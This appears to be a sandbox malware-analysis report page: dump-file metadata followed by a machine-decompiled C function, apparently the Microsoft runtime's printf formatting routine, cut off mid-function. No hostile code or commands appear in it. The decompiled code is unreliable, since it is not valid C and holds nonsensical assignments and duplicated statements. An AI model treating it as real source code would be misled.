Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 311413232b4b754e06cd1643266097daf7cb7f863ddd8a1406c25777949df79a
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 43411671E18229CFDB64CF48D989BAEB7B4BF44304F5085DAE449AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434FB4, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434FB4(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00435730(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435770( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E00435730(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435770(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00434240(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00435770( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E00435730(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C550( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435580))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00431230( *(_t557 - 0x251) & 0x000000ff, E0041AE60(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00435690( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00435690( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E390();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422E80(_t541))) = 0x16;
																			E00422C10(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041AE30(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x4355b8; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004355A0))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x4355e0; // 0x4dee9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355CC))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428370(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
